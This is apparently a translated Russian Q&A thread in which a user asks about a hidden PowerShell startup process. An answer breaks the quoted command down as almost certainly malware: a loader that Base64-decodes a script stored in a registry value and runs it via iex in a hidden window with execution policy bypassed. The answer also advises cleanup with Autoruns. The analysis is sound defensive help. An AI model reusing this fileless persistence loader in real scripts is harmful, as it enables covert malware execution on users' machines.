4

Я заметил пару дней назад в диспетчере задач, что у меня запущен процесс powershell.exe. Когда я пошел в msconfig, у него была действительно длинная команда. Вот:

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

Это действительно странно, потому что только сегодня обнаружился случайный процесс, с которым у меня были проблемы (возможно, он не связан с этим, а просто говорит), который является вирусом и пытался загрузить незащищенный драйвер, как говорит Windows, на мой компьютер. Может кто-нибудь рассказать мне что-нибудь об этом процессе PowerShell? Он запускается при запуске и всегда работает. Опять же, я надеюсь, что я не выгляжу невежественным, может быть, это просто нормальный процесс запуска.

1 ответ1

9

Это почти наверняка злонамеренно.

Давайте разберем это. Он вызывает Windows PowerShell (легитимный и очень полезный интерпретатор команд) без пользовательских настроек (-noprofile) в скрытом окне (-windowstyle hidden), позволяя сеансу PowerShell запускать сценарии независимо от системной политики (-executionpolicy bypass). Затем он запускает эту команду:

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gp означает Get-ItemProperty , который можно использовать для получения значений ключей реестра, и это то, что он делает здесь. Очевидно, в вашем текущем пользовательском ключе SAJELFZIXHQTV есть ключ Software\Classes . Этот ключ имеет значение ADUXJH , данные, из которого извлекается gp . Эти данные (очевидно, строка) затем Base64- декодируются в байтовый массив (FromBase64String). Эти байты затем интерпретируются как текст ASCII (ASCII.GetString). Как ни странно, в оригинале есть дополнительная точка, которая должна вызвать ошибку, потому что у объекта ASCII нет члена с именем Get . Однако, учитывая, что процесс застопорился, я подозреваю, что дополнительная точка - просто ошибка транскрипции.

Если этой ошибки не было, полученный текст будет вызываться как команда PowerShell (iex). Короче говоря, эта команда предназначена для загрузки закодированного скрипта из реестра и его выполнения. Чтобы точно увидеть, что он работает, скопируйте приведенную выше команду PowerShell за исключением iex и удалите лишнюю точку в командной строке PowerShell и запустите ее. Он напечатает команду, которая будет вызвана. Это почти наверняка не будет доброкачественным.

Вы можете остановить эту запись из авто-начиная с Autoruns инструментом. Тем не менее, это, вероятно, хорошая идея сделать более глубокую очистку вашей машины, так как она, вероятно, заражена. Посмотрите, как я могу удалить вредоносные шпионские, вредоносные, рекламные программы, вирусы, трояны или руткиты с моего компьютера?

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .